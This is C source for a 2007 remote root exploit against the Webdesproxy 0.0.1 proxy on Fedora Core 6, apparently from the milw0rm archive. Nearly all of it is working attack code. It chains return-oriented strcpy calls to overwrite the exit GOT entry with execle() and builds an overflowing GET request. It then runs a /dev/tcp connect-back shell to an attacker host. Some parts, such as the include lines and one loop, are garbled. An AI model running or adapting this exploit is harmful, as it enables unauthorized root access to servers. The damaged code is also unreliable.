/* ** ** Fedora Core 6 (exec-shield) based ** Webdesproxy (webdesproxy-0.0.1.tgz) remote root exploit ** (reverse connect-back method) by Xpl017Elz ** ** Advanced exploitation in exec-shield (Fedora Core case study) ** URL: http://x82.inetcop.org/h0me/papers/FC_exploit/FC_exploit.txt ** ** vendor: http://webdesproxy.sourceforge.net/ ** ** vade79/v9 v9@fakehalo.us (fakehalo/realhalo)'s exploit: ** http://fakehalo.us/xwdp-cygwin.c ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ /* ** -=-= POINT! POINT! POINT! POINT! POINT! =-=- ** ** We should focus on uninitialized pb structure variable on .bss. ** This static variable is quite useful. we can put a command to run here. ** We only should be careful for arguments of execle(). ** A null byte goes after "/bin/sh" and "-c" option in .bss. ** ** -- ** execle("/bin/sh\0","/bin/sh\0","-c\0", conn-back_shell, 0x00000000, 0x00000000); ** [argument end] [environment ptr] ** -- ** ** Also I search for 8bytes of null from stack to define environment variable. ** To get here, I made 13 ret(pop %eip) codes. In case you have different ** stack structure, you may have to change the number of ret code. ** Make sure there are 2 words of null after the arguments and at the position of ** environment pointer. ** */ #include #include #include #include #include #include /* ** Fedora Core release 6 (Zod) ** 2.6.18-1.2798.fc6 #1 ** locale (GNU libc) 2.5 ** gcc version 4.1.1 20061011 (Red Hat 4.1.1-30) ** webdesproxy 0.0.1 tarball src compile (webdesproxy-0.0.1.tgz) */ #define EXIT_GOT 0x0804b1a8 // exit GOT #define EXIT_PLT 0x08048bf8 // exit PLT #define STRCPY_PLT 0x08048b18 // #define MOVE_ESP 0x0804aa26 // <__libc_csu_init+102> #define RET_CODE 0x0804aa73 // <_fini+27>: ret #define NULL_STR 0x08050a40 // (null) #define EXECLE_16_0xff 0x0804b19a // (execle()>>16)&0xff // fork() #define EXECLE_08_0xff 0x0804b17d // (execle()>>8)&0xff // bind() #define EXECLE_00_0xff 0x08048a4f // (execle()>>0)&0xff // /* .bss section */ #define BIN_SH_LOC 0x0804fbcb // struct pb pb; // /bin/sh #define BIN_SH_END (BIN_SH_LOC)+7 // #define C_OPTION_LOC (BIN_SH_LOC)+8 // // -c #define C_OPTION_END (BIN_SH_LOC)+10 // #define CONN_BACK_LOC (BIN_SH_LOC)+11 // // conn-back shell #define RET_CODE_COUNT 13 int main(int argc,char *argv[]){ int i=0,l=0,sock; unsigned char ex_buf[4096]; struct hostent *se; struct sockaddr_in saddr; memset((char *)ex_buf,0,sizeof(ex_buf)); printf("\n Fedora Core 6 (exec-shield) based\n" " Webdesproxy (webdesproxy-0.0.1.tgz) remote root exploit\n" " by Xpl017Elz\n\n"); if(argc<6){ printf(" Usage: %s [host] [port] [conn-back host] [input port] [output port]\n",argv[0]); printf(" Example: %s webdesproxy.host.co.kr 8080 hax0r.kr 8282 8383\n\n",argv[0]); return -1; } sprintf(ex_buf,"GET http://"); l=strlen(ex_buf); for(i=0;i<220;i++){ ex_buf[l++]=0x78; } i=0; printf(" [+] make execle() address.\n"); { /* (execle()>>0)&0xff */ *(long *)&ex_buf[l]=STRCPY_PLT; l+=4; *(long *)&ex_buf[l]=MOVE_ESP; l+=4; *(long *)&ex_buf[l]=EXIT_GOT+i++; l+=4; *(long *)&ex_buf[l]=EXECLE_00_0xff; l+=4; /* (execle()>>8)&0xff */ *(long *)&ex_buf[l]=STRCPY_PLT; l+=4; *(long *)&ex_buf[l]=MOVE_ESP; l+=4; *(long *)&ex_buf[l]=EXIT_GOT+i++; l+=4; *(long *)&ex_buf[l]=EXECLE_08_0xff; l+=4; /* (execle()>>16)&0xff */ *(long *)&ex_buf[l]=STRCPY_PLT; l+=4; *(long *)&ex_buf[l]=MOVE_ESP; l+=4; *(long *)&ex_buf[l]=EXIT_GOT+i++; l+=4; *(long *)&ex_buf[l]=EXECLE_16_0xff; l+=4; } /* #1 make null byte */ *(long *)&ex_buf[l]=STRCPY_PLT; l+=4; *(long *)&ex_buf[l]=MOVE_ESP; l+=4; *(long *)&ex_buf[l]=BIN_SH_END; // "/bin/sh\0" l+=4; *(long *)&ex_buf[l]=NULL_STR; l+=4; /* #2 make null byte */ *(long *)&ex_buf[l]=STRCPY_PLT; l+=4; *(long *)&ex_buf[l]=MOVE_ESP; l+=4; *(long *)&ex_buf[l]=C_OPTION_END; // "-c\0" l+=4; *(long *)&ex_buf[l]=NULL_STR; l+=4; printf(" [+] execle() argument align padddding...\n"); for(i=0;i/dev/tcp/%s/%d;\n",argv[3],atoi(argv[4]),argv[3],atoi(argv[5])); l=strlen(ex_buf); } printf(" [+] connect host: %s:%d.\n",argv[1],atoi(argv[2])); se=gethostbyname(argv[1]); if(se==NULL){ printf(" [-] gethostbyname() error.\n\n"); return -1; } sock=socket(AF_INET,SOCK_STREAM,0); if(sock==-1){ printf(" [-] socket() error.\n\n"); return -1; } saddr.sin_family=AF_INET; saddr.sin_port=htons(atoi(argv[2])); saddr.sin_addr=*((struct in_addr *)se->h_addr); bzero(&(saddr.sin_zero),8); i=connect(sock,(struct sockaddr *)&saddr,sizeof(struct sockaddr)); if(i==-1){ printf(" [-] connect() error.\n\n"); return -1; } printf(" [+] exploit size: %d.\n",l); printf(" [+] send exploit.\n"); send(sock,ex_buf,l,0); close(sock); printf(" [*] checking, your connect-back host. :-}\n\n"); exit(0); } /* eox */ // milw0rm.com [2007-05-14]

Query Builder